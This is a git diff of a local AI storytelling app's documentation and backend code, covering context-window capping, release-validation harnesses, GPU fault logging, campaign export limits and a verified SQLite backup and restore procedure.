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Commits
@@ -9,6 +9,11 @@ __pycache__/
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# Database
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*.db
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# M9: verified database backups land beside the database. `*.db` already covers
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# the files; this names the directory so its purpose is obvious in a listing and
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# so nothing else that ends up there is committed by accident.
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backend/backups/
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data/backups/
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# Node
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node_modules/
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+407
-3
@@ -143,6 +143,18 @@ outbound request, so a database edited by hand or a hostname that starts
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resolving somewhere new cannot turn a local install into an exfiltration path.
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There is no setting to relax it.
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### A future media provider would be held to a stricter rule
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The same file decides, plus one extra condition. A media endpoint — a local image
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or speech generator, when one is eventually supported — must be **loopback**, not
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merely on your LAN (`backend/app/media/providers.py`,
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`endpoint_rejection_reason`). A picture of a scene carries the scene with it, and
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a GPU that renders your campaign is a machine you are sitting at.
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Nothing to configure today: no media provider ships, the registry is empty, and
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there is deliberately no media endpoint setting to fill in. The rule exists so
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that whoever adds the first provider finds it already there.
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### Same host (the default)
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```text
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@@ -223,6 +235,10 @@ Fourteen backend tests skip without something the machine may not have: seven
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need a second machine or an environment the suite cannot create, and the rest
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are the real-model tests below.
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The suite takes about fifteen minutes. Several files spawn genuine server
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processes — a restart is only evidence if the process really went away — and
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those dominate the wall clock.
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### The frontend component suite
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M8 added one, because until M8 there was none — the browser was covered by real
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@@ -328,6 +344,324 @@ subsystem comes back as a route, if an API key becomes settable again, if the
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model timeout stops being configurable or becomes unbounded, or if a supported
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start path stops binding loopback.
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## Why a long campaign is not slow in proportion to its length
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An inference server caches the prompt it has already processed, keyed on the
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**prefix**. While a story only grows at the end, each turn re-uses that cache and
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pays for its own new tokens alone. Once the context budget is full, though, the
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history window has to give something up — and a window that gives up its *oldest*
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action every turn changes the prompt near the front, which throws the cache away
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and makes the server re-read almost the whole thing, every turn.
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So the window moves in blocks. `context/builder.py` snaps the oldest included
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action to a boundary and holds it there for several turns, then steps. Measured
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against the reference deployment on real builder output, at an 8,192-token budget:
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| | Per turn |
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| --- | --- |
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| Window held, story grew by one action | 14-20 s |
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| Window stepped (one turn in three) | 333-338 s |
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| **Mean over whole cycles** | **124.0 s** |
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| Window sliding every turn, as before | 362.4 s |
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The cost is history depth: right after a step the window holds up to a block
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fewer actions than the budget would allow. `TRIM_FRACTION` bounds that at a
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quarter of the window, and it is the one number to change if you would rather
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trade recent history for speed, or the reverse.
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The saving grows with the block, and the block grows with the budget — so the
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larger the context window, the more this is worth. `history["floor_depth"]` and
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`history["trim_block"]` are in every context report, and a `floor_depth` that is
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the same on two consecutive turns is the prompt's prefix having been preserved.
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## The release-validation harnesses
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M11 added six runnable harnesses under `backend/tools/`. They are the evidence
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behind `planning/reports/M11-IMPLEMENTATION-REPORT.md`, and they live in the
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repository so a reviewer can re-run them rather than take the report's word for
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anything. None is part of the application and none is imported by it.
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**Write their output somewhere durable, never `/tmp`.** `--out` is required on
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every harness precisely so the location is a decision rather than a default, and
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the examples below use `$HOME/m11-evidence`. A reboot clears `/tmp`, and a
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long-run campaign is hours of evidence that cannot be reproduced by re-reading a
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file. One run was lost exactly that way; §G.6 of the M11 report records it. Snap Firefox independently refuses a WebDriver file path under `/tmp`
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and needs one under `$HOME`, so `$HOME` is the only location the browser harness
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works from in any case.
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```bash
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cd backend
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mkdir -p "$HOME/m11-evidence"
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# The 100-turn release campaign (M01-M04): real narrator, genuine process
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# restarts, every history operation. Hours, not minutes.
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AIDND_TEST_ENDPOINT=https://<host>:<port>/v1 \
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AIDND_TEST_MODEL=<model> AIDND_TEST_EMBED_MODEL=<embedding model> \
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.venv/bin/python -m tools.m11_long_run --turns 100 --out "$HOME/m11-evidence/m01"
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# The same campaign, carried on after a crash, a reboot or a Ctrl-C. It picks up
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# the adventure the checkpoint names, keeps its place in the beat cycle, and does
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# not fire a scheduled operation that already fired.
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AIDND_TEST_ENDPOINT=... AIDND_TEST_MODEL=... AIDND_TEST_EMBED_MODEL=... \
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.venv/bin/python -m tools.m11_long_run --turns 100 --resume --out "$HOME/m11-evidence/m01"
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# What that campaign is worth on a machine that has never seen it (I01-I07).
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.venv/bin/python -m tools.m11_recovery --bundle "$HOME/m11-evidence/m01/bundle.json" --out "$HOME/m11-evidence/m01"
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# The browser release regression and the accessibility measurements: M11's 38
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# checks plus v1.1 WP-C's reader workflows (Retry, Save Points, state correction,
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# narration length, failed generation, export download). Needs `frontend/dist`
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# built, geckodriver on PATH, and --out under $HOME (the downloads land inside
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# it). Release evidence needs the narrator over trusted-LAN HTTPS.
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AIDND_TEST_ENDPOINT=https://... AIDND_TEST_MODEL=qwen2.5:3b-instruct \
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.venv/bin/python -m tools.m11_browser --out "$HOME/v11-evidence/wp-c/browser"
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# Without a narrator (a partial smoke run, not evidence), or one scenario while
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# developing (--only takes: shell, history, markdown, hidden, context, csp, a11y,
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# retry, savepoint, state, length, failure, export).
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.venv/bin/python -m tools.m11_browser --out "$HOME/v11-evidence/wp-c/smoke" --no-narrator
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# A container with no network at all: the offline run and the packaging path.
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.venv/bin/python -m tools.m11_offline --out "$HOME/m11-evidence/offline"
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# The multi-character identity diagnostic (post-M8 finding D), and the run that
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# proves its detectors fire.
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.venv/bin/python -m tools.m11_identity --out "$HOME/m11-evidence/identity"
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.venv/bin/python -m tools.m11_identity --scripted --inject
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# The palette, against WCAG AA.
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.venv/bin/python -m tools.contrast_audit
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```
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### Resuming the long run, and timing it out
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A hundred turns is hours of wall clock, and the first release attempt lost one at
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turn 97 to a host crash. The harness now checkpoints `resume.json` into `--out`
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after the prologue, after every scheduled operation and after every turn, and
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`--resume` continues from it. The file is written under a temporary name and
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renamed, so a crash during the write cannot leave a half-parsed one.
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`resume.json` is operational state rather than evidence: `timeline.jsonl` stays
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the append-only record, a resumed session appends to it, and a finished run
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deletes its `resume.json`. That makes the file's presence mean exactly one
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thing — there is an unfinished run in this directory — and the harness refuses
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to start a fresh campaign on top of one, because two campaigns interleaved in a
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single timeline and database are worse evidence than none. It refuses a
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directory holding a `campaign.db` with no checkpoint for the same reason.
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How long a turn takes is the inference host's characteristic, not the
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application's, so the timeout is an option rather than a constant:
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| Flag | Default | What it does |
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| --- | --- | --- |
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| `--turn-timeout` | 1800 | Seconds the application waits for one narrator reply — it becomes `model_timeout_seconds`, so the settings schema's 30..3600 bound applies. The harness waits 300s longer, so the application's own error arrives inside the stream rather than being cut off at the socket. |
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| `--max-consecutive-failures` | 5 | Unaccepted turns in a row before the run stops, writes `summary.json` with `status: aborted`, and leaves a `resume.json` that `--resume` can carry on. |
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Measure your host before lowering `--turn-timeout`. On the M11 reference
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deployment a turn cost 229-291 seconds at the recommended window; a slower host
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can exceed the 600 seconds this harness used to hard-code, and an overrun turn is
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a lost turn.
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### Logging the inference host during a long run
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A long run is the heaviest sustained load an inference host sees. In M11 a GPU
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host dropped its GPU off the PCIe bus (`NVRM: Xid 79`) half a minute after a
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100-turn run finished. Nothing on disk could say whether power, heat or the link
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caused it (M11 report, §E.1). **For every long run against a GPU host, start this
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logging on that host first and stop it only when the run has finished.**
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Run each command in its own terminal on the inference host. `tee` writes each
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line as it arrives, so what happened in the seconds before a crash or a forced
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reboot survives on disk.
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```bash
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# Power, temperature, utilisation and PCIe link state, once a second
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nvidia-smi --query-gpu=timestamp,pcie.link.gen.current,pcie.link.width.current,power.draw,temperature.gpu,utilization.gpu \
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--format=csv -l 1 | tee "$HOME/gpu-link-$(date +%F-%H%M).csv"
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# The driver's own sampling: power, utilisation, clocks, memory, ECC and throttling
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nvidia-smi dmon -s pucvmet -d 5 | tee "$HOME/gpu-dmon-$(date +%F-%H%M).log"
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# Kernel and Ollama messages, live. The `+` is an OR: `journalctl -k -u ollama`
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# asks for messages that are both kernel messages and the ollama unit's, which
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# is none, and writes an empty log.
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journalctl -f -o short-iso _TRANSPORT=kernel + _SYSTEMD_UNIT=ollama.service \
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| tee "$HOME/ollama-kernel-watch-$(date +%F-%H%M).log"
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```
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If the GPU faults, find the moment and then read what the card was doing just
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before it:
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```bash
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grep -iE 'xid|fallen off|nvrm' "$HOME"/ollama-kernel-watch-*.log
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awk -F', ' 'NR>1 && $4+0 > max {max=$4+0; at=$1} END {print "peak W", max, "at", at}' "$HOME"/gpu-link-*.csv
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```
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A fault that follows sustained draw at the card's power limit points to power
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delivery. A fault with the link below its usual generation under load points to
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the connection. A fault with neither is still worth recording, because it rules
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both out. These commands were verified against NVIDIA driver 580 and Ollama
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0.34.
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`tools/m11_webdriver.py` is the W3C WebDriver client the browser harness uses.
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It exists so browser evidence needs no Selenium in the dependency surface, and
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it documents the one environment quirk that matters here: a snap Firefox will
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not open a file the driver names under `/tmp`, but will under `$HOME`.
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**Downloads in the browser harness (v1.1 WP-C).** The export checks click the
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real Export controls and wait for the file on disk, so the browser has to save
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without asking. `m11_webdriver.firefox_download_prefs` gives the WebDriver
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session a profile that does that:
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- `browser.download.folderList` 2, `browser.download.dir` the run's
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`downloads/` folder, `browser.download.useDownloadDir` true;
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- no "always ask", and `application/json` saved to disk.
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It works on the snap Firefox this machine has (155.0.1, geckodriver 0.37.1), and
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no separate Firefox is needed. The same sandbox rule applies as for opening
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files: the download folder must be under `$HOME`, and the harness refuses one
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that is not.
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A download counts as finished only when all of these hold at once
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(`m11_webdriver.wait_for_download`):
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- a new name has appeared;
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- no `*.part` file is left;
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- the file is more than zero bytes;
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- its size is the same across consecutive polls.
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The toast that says "Campaign exported." is not evidence.
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**Waiting.** Nothing in the harness sleeps before an assertion. Every wait is on
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something the page, the browser or the filesystem shows. A condition that
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already holds before the action it waits for does not count as waiting for that
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action; the harness defects found in M8, M11 and WP-C were all of that shape.
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## Backing up, and getting a campaign back
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There are two recovery tools and they answer different questions. Using the
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wrong one is the most common way to be surprised later, so they are described
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together.
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| | Campaign export | Database backup |
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| --- | --- | --- |
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| Covers | one campaign | every campaign, and your settings |
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| Shape | a JSON file you can read | a copy of the SQLite database |
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| Moves between machines | **yes** — this is the supported way | no; it is this machine's database |
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| Taken from | Export, on a campaign | Settings → *Back up everything on this machine* |
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| Restored by | Import campaign, on the library screen | replacing the database file, below |
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### How large an export can get
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The importer accepts a request body up to **20 MB**
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(`backend/app/limits.py`, `MAX_IMPORT_BODY_BYTES`), and v1.1 does not change it.
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What that means for a campaign, measured rather than guessed:
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- the M11 evidence campaign came to roughly **13 kB per action** in its bundle;
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- M9's conservative estimate from that figure is about **279 turns** before a
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bundle approaches the limit.
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Both are measurements of particular campaigns, **not a turn limit**. What a
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campaign actually weighs depends on how long its turns are, how much imported
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knowledge travels with it, and how many attempts each turn kept. A campaign of
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400 short turns can be well inside the limit; one of 200 long ones with a large
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library may not be.
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**v1.1 (WP-D) makes the individual case visible.** Every export reports its own
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serialised size and whether this version could import it back:
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```text
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X-Export-Bytes the bundle's size, as the importer would weigh it
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X-Import-Limit-Bytes MAX_IMPORT_BODY_BYTES
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X-Importable-By-This-Version true / false
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X-Export-Warning present only when it is false
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```
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The export always succeeds and the file is always delivered — it is complete and
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undamaged; what it exceeds is this version's import ceiling. Both Export
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controls show the warning when there is one. The size compared is the compact
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serialisation the browser would POST back, which is smaller than the
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pretty-printed file on disk.
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Raising the limit, or streaming an import past it, is deferred to v1.2.
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### Exporting and importing a campaign
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Export is on each campaign in the library, and in the campaign's own Settings
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panel. It writes one `.json` file holding the whole campaign: the story and its
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entire retained tree, the branch you are on and **the exact position you are
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reading at** — including one you undid back to — every alternate take, your Save
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Points, the authoritative state and its per-position snapshots, the state
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history that explains it, your imported knowledge with its classifications, the
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summaries and memories, and the prompt each turn was actually given.
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Import is on the library screen and takes that file back, into this or any other
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installation. Nothing about the file refers to the machine that wrote it: the
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imported files come back from their content, not from a path, and no setting of
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yours is changed by importing somebody's campaign.
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Two things it deliberately does **not** carry: your inference endpoint and model
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settings, which describe your machine rather than the campaign, and the
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rebuildable search indexes, which are rebuilt from the imported content before
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the import returns.
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**A campaign imports whether or not the model that wrote it is installed here.**
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Recovering a campaign and being able to play it on are separate questions; the
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first never depends on the second.
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### Backing up the whole database
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Settings → Advanced → *Back up everything on this machine*. It writes a verified
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copy into a `backups/` directory beside the database itself, and tells you where.
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It is a real backup rather than a file copy. It uses SQLite's online backup API,
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so it is safe to take **while you are playing** — a `cp` of a live database can
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read one page before a transaction and another after it, producing a file that
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opens, reports a schema, and is quietly missing rows. The copy is checked with
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`PRAGMA quick_check` before it is kept, an existing backup is never overwritten,
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and a failure leaves nothing behind.
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You can also take one from the command line, or from `cron`:
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```bash
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curl -s -X POST http://127.0.0.1:8000/api/backups | python3 -m json.tool
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```
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### Restoring a whole database
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||||
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There is deliberately no restore button, because restoring means replacing the
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file the running application has open — which is how you lose both copies at
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once. It is a three-step procedure and each step needs the application stopped:
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||||
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||||
```bash
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# 1. Stop the application. Nothing below is safe while it is running.
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# (Ctrl-C the server, or `docker compose down`.)
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# 2. Keep what is there now, whatever state it is in. You may want it back.
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mv backend/data.db backend/data.db.before-restore
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# 3. Put the backup in its place, and start the application again.
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cp backend/backups/adventure-storyteller-20260907-043000.db backend/data.db
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```
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Check the file before you trust it, and check it again after starting:
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```bash
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sqlite3 backend/backups/adventure-storyteller-20260907-043000.db 'PRAGMA quick_check;'
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# -> ok
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```
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The database path is `backend/data.db` by default, and whatever `AIDND_DB_PATH`
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||||
names otherwise — in Docker that is the mounted volume.
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||||
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||||
There is one file to move and no others: this build leaves SQLite in its default
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||||
rollback-journal mode, so there are no `-wal` or `-shm` companions beside the
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database (`PRAGMA journal_mode` reports `delete`). A build that switched to WAL
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||||
would have to move those too, and leaving them behind would pair a new database
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with an old write-ahead log.
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||||
**Prefer the campaign export for anything smaller than "everything".** Restoring
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a whole database rolls every campaign back to the moment the backup was taken,
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||||
including the ones you did not mean to touch. To recover one campaign, export it
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||||
and import it.
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||||
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||||
## The context window your Ollama actually enforces
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||||
|
||||
**Check this before a long campaign.** The application budgets a prompt up to
|
||||
@@ -350,6 +684,65 @@ system block: the narrator rules and the campaign canon. The symptom is a
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narrator that forgets canon deep into a long session, with nothing on screen
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explaining why.
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||||
|
||||
**The application now checks, and will not over-budget.** Since M11 it asks the
|
||||
server what window your model actually gets — `/api/ps` for a model that is
|
||||
loaded, `/api/show` for one that is not — and caps the prompt to that number. A
|
||||
4,096-token server therefore no longer receives a 16,384-token prompt: the
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||||
campaign gets less history than the setting asks for, which is a visible,
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||||
explicable loss rather than a silent one, and Settings' **Test connection**
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||||
reports the window it found or says plainly that it could not check.
|
||||
|
||||
**It also keeps a margin, and checks the server's own count (v1.1).** The
|
||||
application counts tokens with `cl100k_base`, and your model counts them with
|
||||
its own tokenizer. The two disagree slightly, so the prompt is built to leave
|
||||
`max(256, 5% of the window)` tokens free on top of the reply: 256 at 4,096, and
|
||||
820 at 16,384. After each turn the server's reported prompt-token count is
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||||
compared with what was sent. The context inspector shows the result for any
|
||||
past turn:
|
||||
|
||||
- **The server read the whole prompt:** the ordinary case.
|
||||
- **The server did not say how much it read:** the server reported no usage.
|
||||
Nothing is wrong, and nothing is confirmed either.
|
||||
- **The server may have cut the start of the prompt:** it read far fewer tokens
|
||||
than were sent. Ollama does this, silently, to a prompt larger than the window
|
||||
the model was loaded with. The turn is kept. Check the window with the
|
||||
commands above.
|
||||
- **The prompt was larger than the server allowed for:** its count and the reply
|
||||
together exceed the window. The reply may have been cut short. The turn is
|
||||
kept.
|
||||
|
||||
The last two also appear in the server log as a warning.
|
||||
|
||||
**A model that is not loaded yet is loaded first.** Before a turn, if the
|
||||
application cannot read the window because your model isn't in memory, it asks
|
||||
the same Ollama to load it once. That is a `POST /api/generate` naming only the
|
||||
model, which generates no text. It then reads the window again, so the first
|
||||
turn of a session is built to the window the model really has rather than to
|
||||
your setting. If loading fails, or the window still can't be read, the turn goes
|
||||
ahead exactly as before, unverified, and the check above still applies.
|
||||
|
||||
That does not make the window *bigger*, and the rest of this section is still
|
||||
how you do that.
|
||||
|
||||
**On a server that is not Ollama, tell the application the window yourself.**
|
||||
The check above uses Ollama's *native* API, which vLLM, llama.cpp's own server
|
||||
and the rest do not serve — so the window comes back unverified and the budget
|
||||
is left at whatever is configured. Set **`context_window_override`** in settings
|
||||
to the window you launched that server with:
|
||||
|
||||
```bash
|
||||
curl -X PUT http://127.0.0.1:8000/api/settings \
|
||||
-H 'Content-Type: application/json' -d '{"context_window_override": 8192}'
|
||||
```
|
||||
|
||||
Prompts are then capped to it. It is used *only* when the server could not be
|
||||
asked — a window the server did report always wins, so this can never be a way
|
||||
to over-budget an Ollama that answered — and it does not count as verification:
|
||||
the turn's provenance still records that nothing checked the number. Send
|
||||
`null` to remove it. Nothing here validates the figure against the server, so an
|
||||
override larger than the real window puts you back to silent truncation; take it
|
||||
from how you started the server, not from the model card.
|
||||
|
||||
**Setting it per request does not work from this application.** Ollama's
|
||||
OpenAI-compatible endpoint accepts `num_ctx` — nested in `options` or at the top
|
||||
level — returns HTTP 200 and ignores it. Worse, it *reloads the model at its own
|
||||
@@ -376,9 +769,20 @@ Where you *do* control the server environment, `OLLAMA_CONTEXT_LENGTH=16384`
|
||||
does the same job. Either way a larger window costs roughly proportionally more
|
||||
KV cache.
|
||||
|
||||
If you would rather not raise it at all, set **How much story to send** in
|
||||
Settings to the number `/api/ps` reports, and the prompt will be assembled to
|
||||
fit.
|
||||
If you would rather not raise it at all, you no longer need to do anything: the
|
||||
application caps itself to what the server reports. Setting **How much story to
|
||||
send** to the same number simply makes the intent explicit.
|
||||
|
||||
**This matters most on the machine you import to.** A campaign carries its
|
||||
history, not the window the machine that wrote it had, and a long imported
|
||||
campaign fills a prompt on its very first turn — so a deployment that has applied
|
||||
neither the derived model above nor a matching budget meets its ceiling
|
||||
immediately rather than gradually. Importing succeeds either way, and since M11
|
||||
the first turn afterwards is *capped* rather than truncated — so what a small
|
||||
window costs is history, not the canon at the front of the prompt. It is still
|
||||
worth giving the model its window before playing an imported campaign: a
|
||||
4,096-token context on a hundred-turn story is a much shorter memory than the
|
||||
story was written with.
|
||||
|
||||
## What was made offline-safe, and how to check
|
||||
|
||||
|
||||
@@ -65,11 +65,34 @@ that isn't the live one starts a new branch.
|
||||
change is recorded with what it was before and which turn caused it, so the Story State panel
|
||||
can show what changed and why. You can correct it by hand, and your correction outranks the
|
||||
story.
|
||||
- **AI Dungeon-compatible context engine.** Memory, author's note, and story cards (world
|
||||
info) are triggered by keywords in recent story text, then assembled under a token budget
|
||||
(`backend/app/context/builder.py`). Story cards are the inherited authored-lore primitive and
|
||||
are kept; they are **not** the knowledge library below, which is a first-class subsystem with
|
||||
its own classification, provenance, chunking and index.
|
||||
- **A context engine you can account for.** Memory, the author's note, the campaign's own
|
||||
rules, the authoritative state, the summary that applies here, and the retrieved imported
|
||||
passages are assembled under one token budget, in an order chosen so that a section which
|
||||
changes does not re-price the cached prefix above it (`backend/app/context/builder.py`).
|
||||
|
||||
**And the budget is the one your server will actually read.** Ollama enforces a context
|
||||
window of its own — 4,096 by default on a machine with no VRAM — and a larger prompt is not
|
||||
refused, it is silently trimmed from the *oldest* end, which here is the narrator's rules and
|
||||
your campaign's canon. The application asks the server what window your model gets and caps
|
||||
the prompt to it, so what a small window costs is history rather than the canon at the front
|
||||
(`backend/app/contextwindow.py`). If it cannot check, it says so instead of assuming — and
|
||||
on a server it cannot ask, which is any server that is not Ollama, `context_window_override`
|
||||
in settings lets you state the window so the prompt is still capped. A window the server
|
||||
itself reported always wins over that, and a declared one is never reported as verified.
|
||||
|
||||
Since v1.1 the prompt also stops short of that window on purpose. It leaves
|
||||
`max(256, 5% of the window)` tokens free, because your model counts tokens differently from
|
||||
the application, and the v1 evidence came within 23 tokens of the edge. After each turn,
|
||||
the server's own count of what it read is compared with what was sent. A turn the server
|
||||
appears to have truncated is kept, flagged and shown in the context inspector, not left to
|
||||
pass silently. A model that isn't loaded yet, and so cannot report its window, is loaded
|
||||
once before the turn is built, so the first turn of a session gets the real window too.
|
||||
|
||||
**Story cards** — AI Dungeon's world-info primitive, inherited with the fork — are kept as
|
||||
legacy data and travel with an export, but they no longer reach the narrator. A keyword-matched
|
||||
card used to arrive in front of it as a world fact with no class, no visibility, no source and
|
||||
nothing to switch it off, competing with your imported Canon for the same budget; the knowledge
|
||||
library below replaces it, and does all of that explicitly.
|
||||
- **Total prompt transparency.** Every turn stores the exact prompt sent to the model.
|
||||
**Inspect context** on any narrator turn opens a readable account of what it was given —
|
||||
what it remembered, what it read, what it believes, and what each part cost — with the
|
||||
@@ -122,13 +145,33 @@ that isn't the live one starts a new branch.
|
||||
no story, and deleting a branch a Save Point is kept on is refused until you
|
||||
remove the Save Point yourself, so nothing takes a named moment away behind
|
||||
your back.
|
||||
- **Import and export.** AI Dungeon-compatible scenario format; JSON for everything else. An adventure exports as `ai-dnd-adventure-v2`, which carries the whole tree:
|
||||
every branch, every take, the fork points, which branches the story has left behind, the Save
|
||||
Points and the position it is being read at — all of them chosen rather than computed, which is
|
||||
the rule for what a bundle carries. A campaign opens where its head says, never at a Save Point
|
||||
merely because it has one. A campaign exported after two Undos imports still undone, with its
|
||||
retained future intact, instead of silently reopening at its newest turn. Files that predate
|
||||
the head position, and files saved in the old single-line format, still import.
|
||||
- **Import and export, as a recovery contract.** A campaign exports as one JSON file,
|
||||
`ai-dnd-adventure-v3`, and imports into a clean install on another machine. It carries the whole
|
||||
tree — every branch, every take, the fork points, which branches the story has left behind, the
|
||||
Save Points and the position it is being read at — and, since it is meant to be *recovery*
|
||||
rather than a copy of the text, everything that explains that story: the authoritative state
|
||||
and the typed events behind it, **the exact prompt each turn was given and the passages it was
|
||||
shown**, the summaries with the coordinates that decide whether they still apply, and your
|
||||
imported files with their classifications. A restored campaign can still answer "why does the
|
||||
state say this?" and "what was the narrator actually told?" — after the source file has been
|
||||
deleted and the canon edited since.
|
||||
|
||||
A campaign opens where its head says, never at a Save Point merely because it has one. Exported
|
||||
after two Undos, it imports still undone, with its retained future intact. Search indexes are
|
||||
not carried: they are rebuilt from the content, before the import returns. Nothing about your
|
||||
machine travels — no endpoint, no model, no path — so importing somebody's campaign never
|
||||
reconfigures your inference, and a campaign imports whether or not you have the model that
|
||||
wrote it. Older files still import: the flat single-line format, files that predate the head
|
||||
position, and files that predate everything above. AI Dungeon-compatible scenario format is
|
||||
still read and written for scenarios and story cards.
|
||||
- **A verified backup of everything, taken while you play.** Settings → *Back up everything on
|
||||
this machine* writes a copy of the whole database through SQLite's online backup API — not a
|
||||
file copy, which of a live database can read one page before a transaction and another after it
|
||||
and produce a file that opens and is quietly missing rows. It is checked with `PRAGMA
|
||||
quick_check` before it is kept, and an existing backup is never overwritten
|
||||
(`backend/app/backup.py`). Restoring one is a documented stop-move-start procedure in
|
||||
`DEVELOPMENT.md`, deliberately not a button: replacing the file the running application has
|
||||
open is how you lose both copies.
|
||||
- **Single user, no accounts.** There is no sign-up, no login, no session and no API key
|
||||
anywhere in the product. The storyteller API binds to loopback and is unauthenticated by
|
||||
design, because the only person who can reach it is the person running it. A new install
|
||||
@@ -144,9 +187,9 @@ that isn't the live one starts a new branch.
|
||||
|
||||
None yet. The inherited screenshots showed upstream's UI — a Scripts tab, Log in and Sign up,
|
||||
a guest banner, scripting demo scenarios — none of which this fork has since M2, so they were
|
||||
removed rather than left standing as a picture of a product that no longer exists. The M4
|
||||
closeout drove the real application in a real browser, so the screens exist and work; taking
|
||||
presentable screenshots of them is a job for the UI pass in M8.
|
||||
removed rather than left standing as a picture of a product that no longer exists. The
|
||||
screens exist and are driven in a real browser by the release harness
|
||||
(`backend/tools/m11_browser.py`). Presentable screenshots of them have not been taken.
|
||||
|
||||
## Quick start
|
||||
|
||||
@@ -234,8 +277,8 @@ leave it there.
|
||||
player input
|
||||
→ assemble context: [narrator prompt] + [world state + stat guide] + [AI instructions]
|
||||
+ [plot essentials] + [story summary] + [retrieved memories]
|
||||
+ [triggered story cards] + [retrieved imported knowledge,
|
||||
framed by class and bounded by its own budget]
|
||||
+ [retrieved imported knowledge, framed by class and
|
||||
bounded by its own budget]
|
||||
+ [history along this branch, token-budgeted]
|
||||
+ [author's note] + [player action]
|
||||
→ snapshot context (Insights)
|
||||
@@ -249,9 +292,10 @@ player input
|
||||
```
|
||||
frontend/ React + Vite SPA ──HTTP/SSE──► backend/ FastAPI
|
||||
├─ routers/ scenarios, adventures, knowledge, story cards, chat, settings, debug
|
||||
├─ models.py SQLAlchemy: Scenario, Adventure, Branch, Action, StoryCard, Settings, Memory, KnowledgeSource
|
||||
├─ migrations.py hand-rolled, versioned via PRAGMA user_version (92 and counting)
|
||||
├─ models.py SQLAlchemy: Scenario, Adventure, Branch, Action, StoryCard, Settings, Memory, KnowledgeSource, VisualProfile
|
||||
├─ migrations.py hand-rolled, versioned via PRAGMA user_version (94 and counting)
|
||||
├─ endpoints.py the inference-endpoint address policy
|
||||
├─ contextwindow.py what the server will actually accept, and the cap
|
||||
├─ tlstrust.py one TLS context: the OS trust store unioned with certifi's
|
||||
├─ tree.py forking, promotion, and where a node is placed
|
||||
├─ head.py the active head: where the story is read, and what moving it costs
|
||||
@@ -262,7 +306,9 @@ frontend/ React + Vite SPA ──HTTP/SSE──► backend/ FastAPI
|
||||
├─ worldstate/ the inherited RPG stat engine — legacy, no longer authoritative
|
||||
├─ memorybank.py auto-summarization + embedding retrieval
|
||||
├─ knowledge/ the imported library: import, chunk, FTS5, embed, rank, inject
|
||||
├─ bundle.py the export/import formats, v2 (tree) and a v1 reader
|
||||
├─ bundle.py the export/import formats: v3, and readers for v2 and v1
|
||||
├─ media/ the future-media seam: scene packets, visual profiles, provider contracts
|
||||
├─ backup.py a verified whole-database copy, via SQLite's backup API
|
||||
├─ providers/ OpenAI-compatible adapter, streaming
|
||||
└─ data.db SQLite (path overridable via AIDND_DB_PATH)
|
||||
```
|
||||
@@ -272,7 +318,8 @@ development, Vite proxies `/api` to FastAPI.
|
||||
|
||||
## Tests
|
||||
|
||||
920 backend tests: unit tests plus full HTTP integration through the real turn engine, with
|
||||
1,524 backend tests (1,507 run everywhere, 17 need a real local model and skip without one): unit
|
||||
tests plus full HTTP integration through the real turn engine, with
|
||||
the model provider mocked. They run with no route to the Internet, which is a requirement
|
||||
rather than a convenience — an offline claim proved on a machine that has been online once
|
||||
proves nothing. A further handful need a real local model and skip without one; they exist
|
||||
@@ -308,6 +355,21 @@ most interesting engineering in the repo.
|
||||
|
||||
## Repo notes
|
||||
|
||||
- **Status:** **v1.0.0 remains the released version.** Milestones M1-M11 are
|
||||
complete, and the v1 release gate passed (see [`planning/reports/M11-IMPLEMENTATION-REPORT.md`](planning/reports/M11-IMPLEMENTATION-REPORT.md),
|
||||
§T). The signed tag `v1.0.0` and `main` both point at the signed release
|
||||
commit `432f041`.
|
||||
|
||||
**v1.1 is implemented and validated, but not yet released.** All six work
|
||||
packages (WP-A1, WP-A2, WP-B, WP-C, WP-D, WP-E) are complete and accepted on
|
||||
the `v1.1-development` branch, and integrated release validation passed on
|
||||
candidate `87a4032` — see
|
||||
[`planning/reports/v1.1/V1.1-RELEASE-REPORT.md`](planning/reports/v1.1/V1.1-RELEASE-REPORT.md).
|
||||
WP-B ships with a documented reference-model memory limitation, recorded in
|
||||
that report. **No `v1.1.0` tag exists and `main` is unchanged**; the release
|
||||
commit, `main` and the tag are the owner's to make. The plan is
|
||||
[`planning/V1.1-PLAN.md`](planning/V1.1-PLAN.md).
|
||||
|
||||
- `planning/` is this fork's own package: the product specification, the architecture
|
||||
decisions, the milestone plan, the acceptance contract, and a review report for every
|
||||
milestone shipped. Start at [`planning/README.md`](planning/README.md).
|
||||
|
||||
@@ -46,7 +46,14 @@ from .narrative import model as narrative_model
|
||||
# token accounting. Each attempt is its own API call, and a retry is the call
|
||||
# most likely to read the prompt back out of cache. Everything else in a snapshot
|
||||
# is the prompt, which is assembled once per turn.
|
||||
ATTEMPT_KEYS = ("world_state", "narrative_state", "raw_output", "usage")
|
||||
#
|
||||
# v1.1 WP-A1: `accounting` is one attempt's too. It compares the server's count
|
||||
# for *that* call with the turn's estimate. Left out of this tuple, it was
|
||||
# treated as part of the shared prompt, so moving the live flag handed the
|
||||
# superseded attempt's accounting to the new live one and threw the new one's
|
||||
# away. Found by the A2 long run: two retries and one take selection left three
|
||||
# attempts reporting no accounting, or another attempt's.
|
||||
ATTEMPT_KEYS = ("world_state", "narrative_state", "raw_output", "usage", "accounting")
|
||||
|
||||
|
||||
# ------------------------------------------------------------------ reading
|
||||
|
||||
@@ -0,0 +1,289 @@
|
||||
"""M9: a consistent copy of the whole database, taken while the app is running.
|
||||
|
||||
This is **not** the campaign bundle, and the two are not alternatives. They are
|
||||
different recovery tools and M9 keeps them apart deliberately:
|
||||
|
||||
campaign bundle one campaign, logical, portable between installations,
|
||||
importable into a clean data directory on another
|
||||
machine, readable by a human and by a later build
|
||||
database backup every campaign, every setting, physical, this machine,
|
||||
restored by putting the file back
|
||||
|
||||
The bundle is the primary cross-install recovery path and is what the acceptance
|
||||
tests measure. This exists for the other question: the reader has one database
|
||||
holding everything they have ever played, and wants a copy of it before they
|
||||
upgrade, move a disk, or try something they might regret.
|
||||
|
||||
## Why not `cp data.db backup.db`
|
||||
|
||||
Because a copy taken with the application running is a copy of a moving target.
|
||||
SQLite writes a database in pages, and a plain file copy can read page 5 before
|
||||
a transaction and page 900 after it — the result is a file that opens, reports a
|
||||
schema, and is silently missing or duplicating rows. In WAL mode it is worse: the
|
||||
committed data may be in a `-wal` file the copy never touched. Nothing warns
|
||||
anyone. The corruption is found later, by which time the original may be gone.
|
||||
|
||||
So this uses SQLite's own **online backup API** (`sqlite3.Connection.backup`),
|
||||
which is the supported mechanism for exactly this: it copies page by page while
|
||||
holding the right locks, restarts if a write moves the source underneath it, and
|
||||
produces a file that is a transactionally consistent snapshot of some committed
|
||||
point. The application keeps running throughout; no session is closed and no
|
||||
turn is blocked.
|
||||
|
||||
